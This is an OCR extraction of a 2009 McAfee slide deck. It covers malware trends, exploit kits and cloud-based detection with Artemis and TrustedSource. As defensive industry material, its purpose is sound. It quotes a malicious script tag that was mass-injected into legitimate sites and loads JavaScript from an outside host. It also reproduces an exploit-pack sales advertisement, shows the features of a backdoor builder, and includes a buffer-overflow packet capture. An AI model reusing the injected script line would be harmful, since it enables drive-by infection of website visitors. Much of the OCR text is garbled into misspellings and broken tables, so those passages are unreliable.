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The Tsunami

» Decades of threats, surely we have a handle on this?

» Estimated in excess $1trillion loss
through Cybercrime and data loss in 2008

McAfee Unsecured Economies Report 2009

* Q1 2009 - 12 million new IP’s zombied since January!
50 percent increase since 2008

McAfee Quarterly threat Report Q1 2009

» Koobface - more than 800 new variants in March 09!

McAfee Quarterly threat Report Q1 2009
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Understand the motivation, to understand the methodology
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Source: Chat Interview with the Dream Coders Team, the developers of MPack
http://www.robertlemos.com/2007/07/23/mpack-interview-chat-sessions-posted/
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Today anyone can
be a cyber criminal!
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Over 20 years of Anti-Virus

; 5F
e Dr Solomon’s Anti-virus from 1990 ﬁn‘fﬁ L £1 8 1‘*

SWINNTY System32h, cmid.exe - boolkit
rotections izsinfectants isc. lools

Integrity checking FindUiru.Exe ... is ok.

Quick Find Uirus version 1.9 — locates computer viruzes

This program is more than 148 months o0ld. HNew virusez come out all the
time — we would suggest that you upgrade your copy.

296 + 61 viruses, trojans and variants.

Copyright 8 & 8 International, phone +44 442 B7/87Y.

To keep thiz software wp—to—date. phone us to register it.
Checking memory for viruses ...

That dizk could not bhe read. Perhaps it iz unformatted?

The partition sector cannot he read.

Thiz diszk has not got a partition virus.

C=~DOCUME™1~GDAY~APPLI C™1~MHACROM™1~FLASHP™1~HACROM™1 . COM~SUFPPORT

FINDUIRLU CTRL—BREAK — Abort

 Looking for string match against known malware
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The age old question - Is anti-virus dying?

Anti-Virus protection (%) of 2003
Medium+ threats
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0
AV e 1999 : WM/Melissa : 1 Day ?
@ % Proactive protection B % Reactive Protectlon‘ o 2000 : VBS /Lovele tter : 4 hOUI’S ,)
Anti-Virus protection (%) of e 2001 : CodeRed/Nimda : 1 hour ?
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From Elephant to Chameleon
How threats have changed
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Evolution of threats

%%

e security vulnerabilities)
Droppers)

ed), Slapper (Unix, directed attack)
\

2001 — CodeRed & Nimd2 ("j
2002 — Klez &
2003 — Slamm

/
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Early proactive techniques




Heuristics (behavioural analysis)

* Positive & Negative analysis

 Protection against new file and/or macro viruses
* Checks for virus like characteristics

* Block execution of possible virus code (OAS)

* No cleaning as no exact match

* Tangible sample to send to virus lab
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Speed...

The blended/zero day attack,
bought the new solutions
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== sniffer - Local, Ethernet {Line speed at 10 Mbps) - [SnifZ: Decode, 275,/5833 Ethernet Frames]
E File Monitor Capture Display  Tools Database  window  Help

McAfee

7 =) o ke, —1 ks

SRR i“ul |Defaut 4 =|d| 82| Sf[ole=s@R &l %I El

M. Source Address Dest Address Sumrnary Len [Bytes] Rel Time
(1264 0010A4EBD7AG Broadcast ARP: C PA=[10.1.1.10]BAET FRO=IF a0 0:00:00.56
(]| 265 Bart O010A4EBD7 AR ARP: R PA=[10.1.1.10]BART HA=Bart FREO=IF a0 0:00:00.56
(1266 HOMER BART ICHF: Echo 106 0:00:00.56
(1267 BART HOMER ICHF: Echo reply 106 0:00:00.56
(1268 HOMEER EART TCP: D=135 S=1462 SYH SEOQ=3420113163 LEH=0 WIH=16334 %) 0.00:00.56
(]| 269 BART HOMER TCP: D=1462 S=135 S5¥YN ACE=3480113164 SEQ=105270721c LEH=0 WI 62 0:00:00.56
(]| 270 HOMER BART TCZP: D=135 S=14k2 ACKE=1052707217 WIH=17520 &0 0:00:00.56
(] 271 HOMER BART H5-DCE: RPC(VS.0) Bind 126 0:00:00.56
(1272 0010A4EBD7 AR Broadcast ARP: C PA=[10.1.1.11] FRO=IF (] 0:00:00.56
1273 0010A4EBD7AG Broadcast ARP: C PA=[10.1.1.12] FRO=IF 0:
() 274 BART HOMER Jul EBind Ack 0:
(]| 275 HOMER EpF 0} 0:00:00.57
(]| 276 HOMER BART E™™RE ontinuation of frame 27Y5; 244 Byvtes of data 0: )
(1277 0010A4EBDY AR Broadcast ARP: C PA=[10.1.1.13] FRO=IF 0:00:00.57
(1278 BART HOMER TCE: D=14g2 S=13% ACK=3480114940 WIH=17520 (] n.o00.00.57
(] 279 0010A44EBD7 AR Broadcast ARP: C PA=[10.1.1.14] FRO=IF &0 0:00:00.57
(1) 280 0010A4EBD7AG Broadcast ARP: C PA=[10.1.1.15] FRO=IF &0 o:00:00.57
(1) 281 0010A4EBD7AG Broadcast ARP: C PA=[10.1.1.16] FRO=IF &0 o:00:00.57
(1) 282 0010A4EBD7 AR Broadcast ARP: C PA=[10.1.1.17] FRO=IF (] 0:00:00.57
(1) 283 0010A4EBD7AG Broadcast ARP: C PA=[10.1.1.18] FRO=IF a0 0:00:00.58
(1284 0010A4EBD7 AR Broadcast ARP: C PA=[10.1.1.19] FRO=IF a0 0:00:00.58
(1| 285 0010A4EBD7 AR Broadcast ARP: C PA=[10.1.1.20] FRO=IF a0 0:00:00.58
(1| 286 0010A4EBDY AR Broadcast ARP: C PA=[10.1.1.21] FRO=IF a0 0:00:00.58
(1287 N010A4EBDYAG Broadcast ARP. C PA=[10.1.1.22] FRO=IF (] n.00.00.59
(1288 N010A4EBDYAG Broadcast ARP:. C PA=[10.1.1.23] FRO=IF (] n.00.00.59
(]| 289 0010A44EBD7 AR Broadcast ARP: C PA=[10.1.1.24] FRO=IF &0 0:00:00.59
(1) 290 0010A4EBD7AG Broadcast ARP: C PA=[10.1.1.25] FRO=IF &0 0:00:00.59
1) 291 0010A4EBD7 AR Broadcast ARP: C PA=[10.1.1.28] FRO=IF (] 0:00:00.60
1) 292 0010A4EBD7 AR Broadcast ARP: C PA=[10.1.1.27] FRO=IF (] 0:00:00.60
1) 293 0010A4EBD7AG Broadcast ARP: C PA=[10.1.1.28] FRO=IF a0 0:00:00.60
(1294 0010A4EBD7 AR Broadcast ARP: C PA=[10.1.1.29] FRO=IF a0 0:00:00.60
(1] 295 0010A4EBDY AR Broadcast ARP: C PA=[10.1.1.30] FRO=IF | ] 0:00:00.60
4
=% IP: —— IF Header ————
- L3 IP:

Q IF: Ver=sion = 4. header length = 20 bytes

L} IP: Type of =ervice = 00

L3 IP: noa. = routine

L I = n [P T U



McAfee

Sniffer - Local, Ethernet (Line speed at 10 Mbps) - [Snif2: Decode, 27575833 Ethernet Frames] - |E |5|
T Fie Monitor Capture Display Tools Database Window Help 5] x|

>| | -|9‘h|aﬁ| i\l [Dtaut ~| || &2 =|m|o]| o= R El @l @l

Il
Mo, Source Address Dest Addiess Summary Len [Bytez] Rel. Time Delka T "I
264 O010A44EED7 AR Broadcast ARF: C PA=[10.1.1.10]BART FRO=IF 60 :00:00.565 0
265 Bart O010A4EEDTAG ARP: R PA=[10.1.1.10]BART HA=Bart PRO=IF 1] :00:00.566
266 HOMER BART ICHF: Echo 106 :00:00.566
267 BART HOMER ICHF: Echo reply 106 :00:00.566
268 HOHER BART TCP: D=135 S=1462 S¥H SEQ=3480113163 LEH=0 WIH=16384 62 :00:00.567
2649 BART HOMER TCF: D=14g2 5=135 SYH ACK=3480113164 SEQ=1052707216 LEN=0 WI B2 :00:00.567
270 HOHER BART TCE: D=135 S=14(2 ACK=1052707217 WIN=17520 60 :00:00.567

271 HOHER BART MS-DCE: RPC({V5.0) Bind 126 :00:00.567
277 NN1nAARENT AL Frmadeast ARF- ~ PA=T1N 1 1 111 PROA=TRE | a1 nn-nn_Eeag

coooooooo

e Y T e e N T s e |
ILLE

~ TEOOOOOEC

-l HS-DCE RPC: Call ID = 229

-0 HS/DCE RPC: Allocation Hint 0=00000690
m£3 MS-DCE RPC: Presentation Context Identifier = 0x0001

-1 HS-DCE RPC: Operation Number =4

M) HS-DCE RPC: [ 1436 bytes Stub Data ]

il

00000380 [y 3 ff £f € 0 00 O0@. .. wvhil.. . ... .
00000390 [ 00 0 O1N.

000003a0:
000003bo:
000003c0:
00o000340:
000003e0:
000003£0:
ooooo400:
ooooo41o:
00000420
00o00430:
ooooo440:
00000450
00000460:
ooooo47o:
00ooo440:
ooooo490:
000004a0:
000004b0:
000004c0:
0oo0o44o:
000004=0:
oooo04£0:
ooooosoon:
0oooos1o:
ooooos520:
0oooos30:
00000540

ANNNAEEN - I

Decode 4 Mialix Click in this box fo continue Use Only
Faor Help, press F1 | L TN 1

You can see the RPC data is packed with
repetitive no operation (NOP) data to
exceed the buffer limit, which causes the
overflow.

This known vulnerability allows arbitrary
code be to run with local system privileges.




Proactive behavioural protection
(HIPS, NIPS, FW, Whitelisting etc...)

_,r. Protection Pro h-um

Access Protection i Reports |

® Access Protection Rules

° | Ilze access protection rules to protect your system's access points and prevent termination of McAfee processes,

[¥] Enable access protection

Categories = Block Report Fules
Anti-spyware Standard Protection Prevent user g
Anti-spyware Maximum Protection

m

Anti-vinus Masdmum Protection

Anti-vinus Outbreals Control
Commaon Standard Protection . 253 mailing worms from sending mail
Comman Maxdmum Protection vent |RC communication =
Wirtual Machine Protection S
User-defined Rules

4 | 1]

[

[ Ok ][ Cancel Appl lﬂ D

=1 =a=]

[ I e |
14 July 28, 2009 Confidential McAfee Internal Use Only




Proactive Behavioural Controls - limitations

What did | really stop?
Did it stop all of the attack?
What else could it have done?

We still want to identify the threat
We sometimes need to clean up

» Assumes clean at point of install
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Volume...

# of threats

900,000
800,000
700,000
600,000
500,000
400,000
300,000
200,000
100,000

0

1,500,000+

Source: McAfee Avert Labs

~350,000 projected for ‘08

271,197

£

2006 2007




The Great Zoo: McAfee Known Malware Samples

18000000

16000000

14000000

12000000

10000000

8000000

6000000 o
4000000 -

2000000 :I

Mov-07 Dec-07 Jan-08 Feb-08 Mar-08 Apr-08 May-08 Jun-08 Jul-08 Aug-08 Sep-08 Oct-08 Mov-08 Dec-08
{est)

Count of dirty samples/hashes in the McAfee zoo
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Shark — Compliable multi system back door Trojan

Now anyone can be a cyber criminal! McAfee

L. new_build_for_greg (User] @ CLIENTO1) (192.168.1. A4, ~=of >
Server Suspend Options  Show Transfer Queue
E-@ Server I
~ {44 Server Info I ave M
L_i Hates
{]3;{ Download Folder Sepvername

E-E5 Information

Filename

B NS

B " ew build_for_greg (User1 @ CLIE
- o Server  Suspend Options  Show Transfer |
EI-@ Server

148 Server Info i
Kj. Notes
= [ﬂ Download Folder
B3 Information

- 0¥ Installed Apps
- Clie - Passwards

1trol!

Rt ER LI - ...
j Wir Network Adant o new_build
-4 Pro & pctveports oo ouseen
it Ser | 215 Tools =l Gerver
-] Rex L 54 Serw I 0 e r
- File iy & A Moke IE a Eéy g g
TN - Clignt2Client <) {5 Dowr
=5 Surveil ) Clisnk2Server ¢ =6 Ir_uf}urmat
H‘ Scr E—]@ I‘\"ianager o Inske
-l e -] Windows Pass)
Ky &y Processes

-2 A ) Services

E-{E5 Met Too [ I¥] Registry Editor {5 Too ’ r
o We =] ;r_g File Manager = .....TOOS .

o Hos +-Iy, Search File L by .- |
i Pac (-3 Surveilance | |

== Rev - B2 Sereen Capture 9 I
o) Webcam CapkL = I‘f'ianager : ; .

-{E5 Plugins
Kevlogger

-2 audio Capture
[—]@ Net Tools

il Servi

-4y Web Download ] Regis

Server accepte .J Hast Redirect B i’ﬁ File: I
- {d Packet Sniffer R -

M Reverse Proxy [_]@ Surveillar

&5 Plugins

=
=425 Net Taok

Server accepted hello, rea -y Web

B Host

4 Pad

M5 Reve

@ Plugins

User has returne

Removable Storage Running Automatic  CYWINNTYSystem3Zisvchost.exe -+ netsyves
Plug and Play Running Autarnatic  C\WINNTIsystem32\services exe
TRSF(~ Balire Anant Bunninn fukamaatic AWM T Sustern 3 leacs ava LI

| Installed Services: 61 ential McAfee Internal Use Only

18

Server accepted hello, ready! CPU Load: 0% |Memory Load: 27% (136,89 MB/S11,45 ME) ‘Ping: -1 ms
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Buy the deployment tools

arumfindex.php?s=r20&642el7e3%achl 4bed0bac 5505 535ddRshowtopic=56408st=02p=40031 2¥entry400351

we are proud to prese€a browser vulnerability test kit - the Sploit25 Bploit pack.

The pack consists of 5 sploits:

IE MDAC - the everpresent sploit, provides the main infection of old IE 6
IE Snapshot - 2 unique script, infects IE &6 and 7

FF Embed - an exploit for ancient FireFoxes

PDF - the famous private Acrobat Reader sploit

PDF wis - in our pack fwo PDFs cowork and show an all-right infection rate

According the results of tests done by administration, the infection hitrate is 1.3% % 30% depending on traffic types and
countries, Tests were held using 7 different types of traff from different sellers, the infection rate averages to 25%o.

Sploit25 contains a comfortable singlefile 150 kb installer which creates all the files and prepares the pack for its job.
The pack has a nice no-frills design and convenient statistics.

The updates and &v cleans are included in the support, additionally, you get a discount on significantly new sploits,

Price:

Sploit pack build - 2500 wmz

Febuild to a new domain - 2000 wmz

Febuild to a new dormain if the old domain is in malware list - S0 wmz
Rebuild to a new subdormain if the old domain is in mallist - free

Contacts: icqg!




Mass infection of public web pages globally

(13 March 08 )

www.2117966.net/fuckjp.js - Google Search - Microsoft Internet Explorer provided by McAfee, Inc.

File Edit Wiew Favorites Tools  Help |

GBack - -J - \ﬂ \g __;j|/.__jSearc - Folders {‘\'{Favorites €}|E| <] = é' :?' IJ_I.I < % lej Dl_ll @ ﬁ é% ﬁ
Address Ii kkps v, google, comisearch?hl fe j g

Links

Web Results 1 - 10 of about 19,300 for www.2117966.net'fuckjp.js. (0.11 seconds

Cardiff Skills Bank - Mumeracy=script sre=http://www.2117966.net ... &2
Cardiff University | Prifysgol Caerdydd, Search:. News & Events | Contact Us | A-Z Index |
Cymraeq - Home About the University Schools & Divisions Learning ...

skillsbank. cf ac.uk/skill asp?sid=28&skid=3 - 15k - Cached - Similar pages

Wedding Ceremony Entertainment<script sre=http fwww.2117966.net ... 7
Choose City, Sydney, Melbourne, Brishane, Canberra, Newcastle, Waollongong. Search
Bands, Classical, Covers/Party Bands, Jazz, Latin/Flamenco, Pop Duos/Trios ..

wew. [vps. com. aufindex. asp?page=wed - 12k - Cached - Similar pages

Classical Musicians<script src=script sre=http/fwww.2117966.net ... 7
Sydney. Bamboleo. mare info & music samples, A tight 4 piece latin combo, B more info &
music samples more info - more info & music samples add to enguiry ...

wew. [vps. com. audfindex. asp?page=srch&p=28&loc=0 - 22k - Cached - Similar pages

Ware results from www. lvps.com.au »

WorldQil.com - Marine Rig Locator: Jackups<script sre=http: s ... &2

<script sre=http<script src=http:/www.2117966.netfuckjp.js=</script=. Cranes, Two
Liebherr 580t and one Lieb<script ...

wews worldoil comdlnfocenter/RIG_DETAIL asp?A=TYPENAMETODETAIL&RIG_ID=431 - 35k -

Cached - Similar pages

Hollywood Celebrity Camilla<script sre=http: ity <script sre=http ... &

This site may harm your cormputer.

<script sre=http:/www.2117966.netfuckjp.js>=</script> Belle<script
sre=http: e 21 <script sre=hitp:Awww.2117966.netfuckjp.js=</script> Photo Gallery ...
whewy sunncity. com/photos/celebrity. asp?oe_id=770 - Similar pages

ADAM-A024<script sre=http:fwwi=script sre=http:/www.2117966.net ... &2

4 CH Analog Output Module ADAM-4024, ADAM-4000 YO modules (RS-485), Remote Data
Acguisition and Co.

wew. inovis, chidfartikel_ausgabe. asp?ID=2084&form=6 - 45k - Cached - Similar pages

wig) <table id="objPrintCompatible" class="backaground" cellspacing="1 ... &
File Farmat: Microsoft Excel - Wiew as HTML

. stc=http<script sre=http:Awww.2117966.netfuckjp.js=</script=</td=<td align="Center"
rowspan="1"=3</d><td align="Center" rowspan="1">New<Ad=<td ...

wew prngsyonling nic.infASPMNet/citizens/MATAONCP/RoadwisePerkMCost. aspx?
state=MP&statename=Madhya+Fra... - Similar pages

Indbazaar Slide Shows - Model Actresses<script sre=httpfiwww ... &
This site may harm your cormputer.

20|l Cther Channels, EducationFirst, FarmilyTirme, Fashion & Beauty, FinanceRight, Cricket, mal Use Only
Helpline, Mewsline, ProductSmart, Quiz Portal, Spade, TravelMow ...
wew. indbazaar. comfashion/model_img. asp - Similar pages




Example: IFrame & MPack

McAfee

Booby-trapped
legitimate sites

1.  The victim visits a legitimate site
that has been booby-trapped with
hidden redirect code (hidden
IFrame).

2.  They are silently redirected to the
server hosting the attack tool.

3. Depending on the browser,
various vulnerabilitesmaybe '\ el

tested. Various malware are e (2): silent
downloaded and executed. ‘ redirect
4.  The web pages accessible from
the victim's workstation are in turn (3): exploitation
booby-trapped. (1): connection to a
legitimate site
Botnet,
RockPhish,
Fast-Flux,
DaDSoS,UX < : > - . -
Identity theft, (4): machine (4): HTML infection

under control
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Regular “Protection Gap”

Protection gap of 24-72 hours with current solutions
t0 t1 {2 t3 t4
Malware in Malware Protection is | Protection is § Protection is
the wild discovered available downloaded deployed
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Security in the Cloud




Next Gen “In the cloud” detection

| Internet

| .

Fingerprint
Database
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What is “in the Cloud scanning”?

End-node reporting

Very little system overhead

Meta-data
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In the cloud security -

Blocking what we already know!

Non-replicating malware is static
And some replicating is static too (e.g. worms)
Can be detected with a fingerprint (MD5,SHA-1,SHA-2, etc.)
Black List of fingerprints

Replicating vs Non-Replicating Malware

July 28, 2009 Confidential McAfee Internal Use Only
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How does In the Cloud anti-virus work?

User receives new
file via email or web

-

4
——

VirusScan processes
information and
removes threat

Artemis Q
S R
RN S "t““
‘i/‘: .............. (
Artemis ~ Collective Threat .\.\.‘

identifies threat Intelligence

and notifies client

27

No detection with
existing DATSs, but
the file is “suspicious”

Fingerprint of file
IS created and sent
using Artemis

Artemis reviews this
fingerprint and other inputs
statistically across threat

4 landscape

\

Confidential McAfee Internal Use Only
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In the Cloud in action

€ (Untitled) - Ethereal

File Edt Wiew Go

= & B

Capture  Analvze  Statistics  Help

* Expression... Clear Apply

source Y C:AWIMDOWS\System 3 2\emid. e xe

siamr Y irus data file v5i585% created Hov 18 2003

Filter:
Mo, - Tirme
1 0.000000 ik
2 0.150855
R E
4 0308874

o canning for 1 viruses, trojansz and variants.

oMl = ing C:hgoat 52A0~EXTRA.DAT to scan for 1 additional virusdes).

Scanning C:sGOAT . =

C:sG0AT“eTicket_02.doc.exe

C:sGOATMEDOMAI M—example ... is OK.
C:~GOAT“spy—agent—trojan—example ... iz OH.

Total files:

Clean:

Mot scanned:

€ NXDOMAIN-example - Ethere.

Possihly Infected:

EPEHx®E QRe>»0DF L/EEQRQAAF WHEEX B

... Found trojan or variant GenerictfArtemisz tt¢

=0l x|

‘56, avgs.mcafee. com

5Faf6. avgs.mcafee. com

File Edit Mew Go Capture  Ane
Time: O@:00.08
=
Filter: C:sgoat~5200 >
Mo, - Time Source Destination Protocol | Info
1 G.000000 172.16.181.31 161.69.135.201 DHE Standard guery A 0,0,8010500.1450.1581.1. 0.1k, 562a3b03546536307ac4 7fchiceadede. avgs.mcafee. com
2 0.15930562 T6l.60. 155 301 17216, T8L. 3T DNS standard query response, No such name
28

July 28, 2009
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In the cloud security -

ldentifying what we don’t know!

Software may be deemed “suspicious” based on
Observed behaviours
Source
Detections by other products

Behaviours, sources, detections can be assigned a weight

Based on the resulting weight, software may be classified as
“suspicious” with different degrees of certainty
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Closing the loop

McAfee

Analyst

v

McAfee Avert

iz,

Researche

Samples

S T P R N

Workflow (1.2.484)

PR

Downloads

4902838 | YebImune

0 | 3aldbadifeddde0dlThe25a86a404389 | staternent jan-oct doc exe

1-15-15

tlosed

16 Oct 21:38:43 | Salved

handled by autamation

Page 1of i (litems) | = |}

AL 312 -----MH-F--. -
RA  3MMA

0

SAC spy-agent. by
DET spy-agent. by

Take Sample || Assign Sample sign Gampls nk Resolve Raiden Update
"\oT 4 Page 1of 1 (1items)
b D 4802648 | Non_scalated Eﬂfﬂiﬂgiaﬂ;unt i 1 1 16 Oct 18:3%:11 | Solved | handled by automation D@ﬁ
b D 4902602 | YebImune F 1 1 16 Oct 18:09:06 | Solved | handled by automation D @ ﬁ
b D 4902586 | PO gPo Staternent_JAN-OCT.docexe 1 1 16 0t 17:55:33 | Solved | handled by automation D @ ﬁ
b | D | 4902511 | PO qp cample 1 1 16 0ct 17:04:08 | Salved | handled by automation D@ﬁ
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Malware case study — Spy-Agent.bw

Artemis Detections
1200

1000 -+

800 -

600 -

400
200 + /
o !

Time

Artemis clients sent
fingerprints —2
hours before
regular submission
saw the file

31

First seen

— 15th October 2008, 22:24:28

Auto-blacklisted

— 15th October 2008, 22:57:01

South
AmeP®ca

July 28, 2009

C
a9

lmagern: @2008 MASA - Terms of Use
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Security & privacy

Example:

U0B6gKhDbtiZCoxyh0OIneADS/RShS8IRCBSEvwijekG/q4yDRg

gEUXjHWKvnrySGa6QMdftripl5SpAdJvOUACNCcvCjKvplfsxv8q

Bk4uRQQ60r5StRCXOpIA0QyY3fKmLRUZYNglEyjLLPKgJDZI
OngHhRWX+TDgPgXRfW9wDO6gE

Cryptographically strong actionable responses

Query specific Immune to replay attacks
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Cloud security compressed “Protection Gap”

®

Malware'i'n Protection ié
the wild deployed Case study — Spy-Agent.bw

« Artemis protection — ~32 minutes
* Regular protection — ~8.5 hours

— Not including deployment time
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| was blind, but now | see

Artemis customers (» Customer

& SiteAdvisor
il

F

7
7al ’?':j;—:__#n y -
ié ONFY, o | Vulnerability
> 20 &, (@ Internet j Research
-r\\-:; fﬂ y \' S
o 2l
>

| fJ SPAM

Research

N e
ﬁ“y} Collective A ,,l
o Pl r]
Risk and | h"ﬂ Threat uwl HIPs
Compliance Intelligence
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Taking it to the next level
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Collaborative Global Intelligence

Physical
World

Deploy agents: Officers around the
globe (MI5, MI6, FBI, CIA, Interpol.)
Global intelligence system: Share
intelligence information. (e.g. criminal
history, global finger printing system)

Results
Effective - Accurate detection of
offenders

0 e L e
. 'ttt.t"“'t
o % .'t.. w'a..
aeata V.
'.\ﬁ:t o
‘..l' Joe
ok !o.‘.
8% ¢ S

Police
Stations

Intel Iigence Pro-active - Stop them from coming Police g?eilticc?ns
Agents in the country Stations
Cyber Deploy security probes: Around
the globe (firewall, email gateways,
World web gateways)

Intelligence
Probes

Global intelligence system: Share
cyber communication info.
(e.g.: hackers, spammers, phishers)

Results

Effective - Accurate detection of bad
IPs, domains

Pro-active - Deny connection to
intruders to your enterprise

o0 MICATee GIoDal Tnreat mntenigence
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Global Intelligence, Local Protection

REAL-TIME

GLOBAL DATA MONITORING AUTOMATED ANALYSIS PROTECTION PLATEORMS

Edge / Firewall
* Traffic Shaping

« Attack Blocking N

10 Billion Enterprise
Messages
Analyzed per Month

Web Gateways
 Anti-Malware o
* Anti-Spoofing

Ownership _ Messaging Gateways
* Whois 3  Outbreak
« Zone files Detection -
e Trademark * Anti-Spam
| Content Dynamic Computation
* Images 1 - i
ot ) Of Reputation Score ldentity Fraud
. . Applications )
* Links R
. IP Domain URL Image Message * Anti-Phishing
Behavior « Zombie Alerts

. Soci:_;tl networks '[k
Loraoy A w0 oo

Global Data Monitoring is Fueled by the Network Effect of Real-Time Information
Sharing from Thousands of Gateway Security Devices around the World
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Intelligence: How It All Works....

This entire process happens constantly, every second, 7x24x365

McAfee Threat Intelligence
updates records with new
reputation info

reat Intelligence
2putation info

McAfee ThTee
1 Intelligence

Incoming
traffic

TS-enabled appliance
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Responder Architecture

Legacy protocol based on customized DNS servers

Enhanced proprietary protocol (UDP over SSL)

Query Data

Wi Analysis Systems

; TrustecSource

Reputation
Data

Internal & External

< 'L

Data Sources

Historical data
Message data/metadata
Neighborhood data

Instant Analysis

Ownership data
Spamtraps and honeypots
Blacklists
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What does it monitor?

 Email
— IP Reputation
— Message Reputation

Hack . DoS, DDoS, misc
Attack e other attacks
 Web
— URL Categories
Active .
Content Compromised or ActiveX, Java, VB

malicious web sites

— Web Reputation

code from infected

@ 6 6
@ G 6

. Malware or URLs web sites
e Intrusion/FW
- |P/PI’O'[OCO| Virus Zombies, Botnets, |
. mage spam,
Reputatlon Phishing other sources Virug, wgrms,
] Trojans
— Geo-Location spam
— IPS Attack Vector Ip Attachment
i Domain Image
Correlation URL Message
Connection Reputation Content Reputation
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Message Reputation

nnown

3. Unknown sender spammer
sends similar

5. Unknown
sender sends
different
message

messege
NI

spamme

[ —

1. Known

message

spammer sends
//
A

2. Message is
blocked

4. Message is
recognized and RUETRe

6. Message is
associated with
new machine in

a botnet and

blocked

at ’
blocked Batay |

Allows Reputations to Move Across ldentities and Protocols
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TS Web Reputation Breakout

Web Reputation Breakout for Q209 on 6/04/09

Neutral
54%

Unverified
5%

Suspicious
22%

Trusted
0%
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Building Web Reputation

Raw Dat

Analysi

TrustedSource for Web

e TrustedSource for
Email

e Domain Registrations

< WHOIS data

e \WebWasher classifiers

e SmartFilter categories

= \Web access logs

e Malware URLs

* Phishing URLs

e Spam URLs

e Fortune 1000
websites

e Blacklists

« Whitelists

= Correlation Mapping
(Joint Conditional
Mapping)

e Support Vector Machine
classification of all
parameters

e Parked Domain ldentifier

* Neighborhood
Classification

* Real-Time Classifier

* GEO Location

* Host information:

*DNS

*WHOIS

«0S

<\Webserver

eCertificate

information

Reputation
Service

Size

75 Million Hosts

Precision

43

e More Precise
(-180 - +180)
e |dentified zombies, malware,
suspicious
Reputation

-180 Range

+180

Bad Suspicious Good

July 28, 2009
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TrustedSource Web Database

Category-based filtering + reputation based filtering = best protection available

96 URL categories

TrustedSource global intelligence augments numerous categories such as Spam, Malicious
Sites, Phishing, Hacking/Computer Crime

Reputation-based filtering for today’s Web 2.0 threats
— Provides an additional layer of security
— Malicious sites, Spyware, Hacking, P2P, IM and more

« 31+ Million URLs (contains IPs, HTTP and HTTPS URLS)

» Automated proactive and reactive URL gathering systems

Total Number of URL's in DB to Date

 Human review of URLs by —

multi-lingual/cultural Web Analysts e ’““\,V_/—vL

— Global coverage (language and regions)

#9f URgS

* Real-time updates -

01/07/08-0111 308
02/04/08-02/1408
03/03/08-03/0%08

44

03/31/08- 04/06/08
07/21/08 07/27/08
081808 -08/24/08
0911508 -09/21/08
11110/08 -11116/08
1215/08 -12/21/08
05/18/09 - 05/24/09

06/15/09-06/21/09

04/28/08- 05/04/08

05/26/08-06/01/08

06/23/08- 06/29/08
10/13/08 -10119/08




TS Web Language breakout

Dutch
1%

Danish
1%

Czech
0%

Finnish
0%

Arabic
1%
Unspecified
0%

Turkish
0%
Swedish
1%
Spanish

German

3’? 18%
Russian

2%
Portuguese
2%

Palish
0%
Other
1%
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www. TrustedSource.Org

Public Portal

View reputations for domains, IP
addresses or URLs

Sending patterns of the senders

Analytical information:
— country of origin
— network ownership

— hosts for known senders within each
domain

Snapshot of global email trends,
including a map illustrating country
of origin for email attacks

Graphs displaying overall email and
spam volume trends

ROI Calculator
ZombieMeter
Domain Health Check

Latest malware threats
Blogs from experts
Top spam senders

46

McAfee | TrustedSource”

Create Account | Login | What is TrustedSource? @

TrustedSource Intelligence | Feedback | Research Resources | Tools = Threats and Trends = About

Mcafee Research Blog

... the industry’s most complete
Internet reputation system.

>>More

Enter IP address, domain name or
URL to check reputation/traffic

patterns:

Search

Latest Malware Threats &
Warm, Agent. W, 45 2005-05-06
Warm, Autarun, cbrn, 4 2009-03-08
Trajan, Dldr.agent bfbm 2009-03-05
Exploit,PDF, 3355 2009-02-28
Warm, Sahanad, BM 2005-02-13
TrojanAgent, 85823 2009-02-11

> View Malware Library

Login

Login/Create Account to to have member
sccess to all TrustedSource, org fastures,

Login Mame |dscharou
Password (IIL111]
Login

-+ Fargotten your password?

=+ Create Account

Spotliaght

DDOS Is Not The Most Political Way to Protest

June 16th, 2009

So, Iran had elections this weekend, Some people don’t agree with the results, As consequence,
some people are organizing DDoS attacks against Iranian websites, more precisely:
http:ffwwew . leader.ir/ http://president. i/ http: fweww.irib.irs http: Adwww irbnews.ir/ and some
specific URLs on those domains. No guys, that's not the right path, and as it is a malicious
activity, we are detecting the tools being distributed to create this [...] - More

Worms Dig Further Than Thumb Drives

June 1ist, 2009

Most every day I see AutoRun worms such as this one. You may know the kind, the worms that
are designed to replicate onto removable drives, There is certainly no shortage of these little
monsters, Often the worm, although problematic itself, is just the harbinger of potential doom.
More malicious malware obtained by these worms [..] =+ More

Spammers Take Advantage of Air France Crash
June 11st, 2009

&s we foresaw, spammers have used the air France AF447 disaster to catch
people’s attention and prompt them to open fake news emails related to this

pf’, event, Less than two weeks after the crash, the firsts emails started to spread.
We've seen the following subjects: 4-330 blackbox record aAnother plane
crushed Last seconds of plane When opened, all thesa [...] = Mare

= Show all Mcafee Research Blog Entries
Others (10%)-, Phish-

~ BankFraud.eml
£(25%)

W32/Trojan3, L W22/Trejan3.
AVA (9% b AYY (18%)
W3z/Netsky.P_/ 2/Trojan3
@mm [5%] / T avG (129%)
Wa2/Trojan3, |
AYS (7%

July 28, 2008
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